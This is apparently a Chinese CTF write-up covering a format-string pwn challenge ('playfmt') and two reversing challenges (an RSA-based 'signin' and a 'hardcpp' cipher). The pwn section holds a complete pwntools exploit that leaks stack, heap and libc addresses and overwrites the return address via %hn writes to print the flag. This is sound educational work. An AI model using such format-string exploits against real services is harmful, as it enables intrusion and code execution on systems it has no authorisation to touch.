前言 这场比赛打了2天,学到了东西,在这里做下总结,方便后续学习。 一、Pwn方向 1、playfmt 这次的pwn题很不友好,只有这题能做,菜鸡Orz,先检查保护机制:
got表不可改,堆栈不可执行,看名字知道是格式化字符串漏洞的题目~ida分析一波:
可以看到申请了堆块去存放flag的内容,然后进去logo函数的do_fmt函数,里面有格式化字符串漏洞:
漏洞点就是格式化字符串,这里能读入0xc8字节,而且是个死循环,除非你输入quit手动退出,很明显了,但是buf不是栈,是bss段地址,也就是格式化字符串写bss(lab9做过),写bss段,就是写指针,需要泄露出stack地址才能进行操作,所以利用思路就有了:
由于本地没有flag文件,所以要自己先创建一个,内容随意~然后步骤:
1、泄露出真实地址、栈地址、堆地址
2、往ret位置写入onegadget去getshell,或者ret填printf的地址外加参数填flag的堆地址去打印出flag(比赛时一开始看到flag在堆上就想着打印,所以用了第二种方法)
这里用双字节写入的方式,一步一步地构造好栈的布局,然后quit就直接搞定了~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 from pwn import *from libformatstr import FormatStrcontext.log_level = 'debug' context(arch='i386' , os='linux' ) local = 1 elf = ELF('./playfmt' ) if local: p = process('./playfmt' ) libc = elf.libc else : p = remote('116.85.48.105' ,5005 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(p.pid)).readlines()[1 ], 16 ) gdb.attach(p,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(p,"b *{}" .format(hex(addr))) def bk (addr) : gdb.attach(p,"b *" +str(hex(addr))) py = '' py += "-%6$p-%18$p-%23$p-" ru("=====================" ) sl(py) ru("-" ) ret_stack = int(ru("-" )[:-1 ],16 ) - 0x1c print "ret_stack--->" + hex(ret_stack)flag_heap = int(ru("-" )[:-1 ],16 ) - 0x18 print "flag_heap--->" + hex(flag_heap)main_addr = int(ru("-" )[:-1 ],16 ) - 247 libc_base = main_addr - libc.symbols["__libc_start_main" ] onegadget = libc_base + 0x5fbc5 print "main_addr--->" + hex(main_addr)printf_addr = libc_base + libc.symbols["printf" ] print "printf--->" + hex(printf_addr) py = "%" + str(ret_stack&0xffff ) + "c%6$hn-" py = py.ljust(0xc8 ,"\x00" ) sd(py) py = "%" + str(printf_addr&0xffff ) + "c%14$hn-" py = py.ljust(0xc8 ,"\x00" ) ru('-' ) sd(py) py = "%" + str((ret_stack+0x2 )&0xffff ) + "c%6$hn-" py = py.ljust(0xc8 ,"\x00" ) ru('-' ) sd(py) py = "%" + str((printf_addr&0xffff0000 )>>16 ) + "c%14$hn-" py = py.ljust(0xc8 ,"\x00" ) ru('-' ) sd(py) py = "%" + str((ret_stack+0x8 )&0xffff ) + "c%6$hn-" py = py.ljust(0xc8 ,"\x00" ) ru('-' ) sd(py) py = "%" + str((flag_heap)&0xffff ) + "c%14$hn-" py = py.ljust(0xc8 ,"\x00" ) ru('-' ) sd(py) py = "%" + str((ret_stack+0xa )&0xffff ) + "c%6$hn-" py = py.ljust(0xc8 ,"\x00" ) ru('-' ) sd(py) py = "%" + str((flag_heap&0xffff0000 )>>16 ) + "c%14$hn-" py = py.ljust(0xc8 ,"\x00" ) ru('-' ) sd(py) ru('-' ) sl("quit" ) p.interactive()
这里我利用了一个小技巧,就是“-”作为接受符号,这样写入完成后才继续下一个,保证写入时正确写完,接受地址时也很方便~但是这题坑点就是远程一开始打不通,因为libc版本不对,是libc.2.23.so,要自己去一个个查(扎铁了,老心),下面是调试图:
二、Re 1、signin
这题一看很大的数字,然后输入就是flag,关键函数是powm函数,去查了下这个函数是干嘛的,发现实现的操作就是RSA的加密过程,v6的v5次方对v4求余写入v6,cmp一下v6和v7,除了v6,其他值都是知道的,那么写一下公式:
v6^65537 mod (103461035……)=(0xad939ff9….)
一看这不就是RSA吗?还是最简单的那种,直接分解n然后解密得到明文v6就是flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import gmpy2import libnumn = 103461035900816914121390101299049044413950405173712170434161686539878160984549 p = 282164587459512124844245113950593348271 q = 366669102002966856876605669837014229419 c = 78510953323073667749065685964447569045476327122134491251061064910992472210485 e = 65537 def computeD (fn, e) : (x, y, r) = extendedGCD(fn, e) if y < 0 : return fn + y return y def extendedGCD (a, b) : if b == 0 : return (1 , 0 , a) x1 = 1 y1 = 0 x2 = 0 y2 = 1 while b != 0 : q = a / b r = a % b a = b b = r x = x1 - q*x2 x1 = x2 x2 = x y = y1 - q*y2 y1 = y2 y2 = y return (x1, y1, a) def getm (p,q,e,c) : n = p * q fn = (p - 1 ) * (q - 1 ) d = computeD(fn, e) m=hex(pow(c,d,n)) m = str(m).replace('0x' ,'' ).replace('L' ,'' ) return m.decode('hex' ) print getm(p,q,e,c)
2、hardcpp
这题有点东西,踩了一个下午坑才搞出来,ida分析一波:说句实话,此题几乎是动态调试出来的,静态我搞不定~~
发现了一串16进制的数字,然后转了字符也没东西,直到最后解出来我都不知道这个有什么用,就跳过了。。。看到fget输入21size的字符串,然后设置了time(0),这里v38和v49就是时间差,这题的逻辑分析,静态一下你会发现很恶心,很多while:
差点想关ida,然而想了下,还是忍忍吧,逆向需要耐心,终于来到了最里层
由于是用C++写的加密算法,所以我根据功能重命名了下,好看些,写着jiami的都是没看懂它在干嘛的(静态真的分析不懂,菜是原罪),然后动态调试跟汇编调出来每一个加密都在干嘛,就把注释也写上去了,下面具体讲下我的注释都是怎么调出来的:
首先要运行需要装个libc++的库(C++语言写的程序依赖库):
装库命令:sudo apt-get install libc++-dev(谷歌能解决的问题最好别问为什么~)
下面是动态调试:
先输入我们的21位字符,为了方便看我顺序输入:
1 sl('abcdefghijklmnopqrstu' )
1、判断能进去while循环里层的条件:
断点下在计算时间差那里,通过修改时间差为0才能进入while最里层(为什么?因为经过不断调试才发现后面的跳转条件需要满足为:时间差为0,搞这个就花了很多时间。。。)
命令:set $rsi=0,然后在主逻辑0x400dd3处断下来
下面开始跟汇编看第一个算法xor:
可以知道rcx(input[idx])是我们输入的第二个字符,所以,idx=1,同时rdx为0(v38),我们知道A^0=A,所以得到第一步加密结果,注释为:// idx=1,从1开始,v35=input[idx]
这里需要记住打逆向的一个小技巧,函数的返回值都是放在rax(eax)寄存器的,那么这个寄存器放的就是加密后的结果,copy那个静态都能看出来,就不分析了,mod也是,xor和cheng也一样,顾名思义的东西,重点看下jiami算法:
又是一堆很长的加密,没看懂,不会,动态调试看返回值~
第二个算法:jiami1
一步步跟汇编,这里要知道pwn的一些知识,函数调用前,因为64位的,所以前2个参数放在rdi和rsi寄存器中,函数返回值放在rax中,看下jiami1:
上一个函数mod的返回值是0x6,rdi放0x62(input[1]),rsi等于mod的结果,ni一下:
发现变成了0x68,貌似0x62+0x6=0x68?(一开始也是猜,先写了再说~)
因为后面还有jiami1算法的实现,最后调试时知道了原理:
jiami1(a,b)—>返回值为(a+b)&0xff
同理一步步调试可以知道jiami2原理:
jiami2(a,b) —–> 返回值为b
jiami3(a,b)——>返回值为b
最后得到一开始的图:
v15=(((input[idx-1]^18)*3+2)&0xff)^(input[idx-1]%7+input[idx])
v15就是最后的加密结果,发现它和enc数组有个cmp,提取出enc的内容,那么算法就逆向完了,很容易想到,input就是flag,现在我们需要逆向这个算法,简单分析下,就是input的01,12,23,34,45这样每两两进行加密得到一位密文,我自创命名它为堆叠移位加密,好了知道加密算法,但是直接逆比较复杂,想到爆破法!我们知道flag长这样:flag{xxxxxxxxx}
所以可以写个深度搜索算法去自动找匹配,失败了返回上一层,成功了继续爆破,直到跑完就能得到flag,但是打比赛时没写出来深搜(数据结构没学好哎),用一种比较捞的方式出了flag,半自动化猜,就是知道前一个,可以爆破出后一个是什么,知道{就可以爆破出下一个……..或者翻过来,知道}可以往回推倒数第二个,推倒数第三个……
这里用逆推法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 enc = [0xF3 , 0x2E , 0x18 , 0x36 , 0xE1 , 0x4C , 0x22 , 0xD1 , 0xF9 , 0x8C , 0x40 , 0x76 , 0xF4 , 0x0E , 0x00 , 0x05 , 0xA3 , 0x90 , 0x0E , 0xA5 ] v = "}" k = len(enc) for i in range(32 ,127 ): code = (((i^18 )*3 +2 )&0xff )^(i%7 +ord(v)) if code==enc[k-1 ]: print chr(i)
这里解的过程可能会有分支,但是只有一条能出flag~后面写了深度搜索脚本再更新。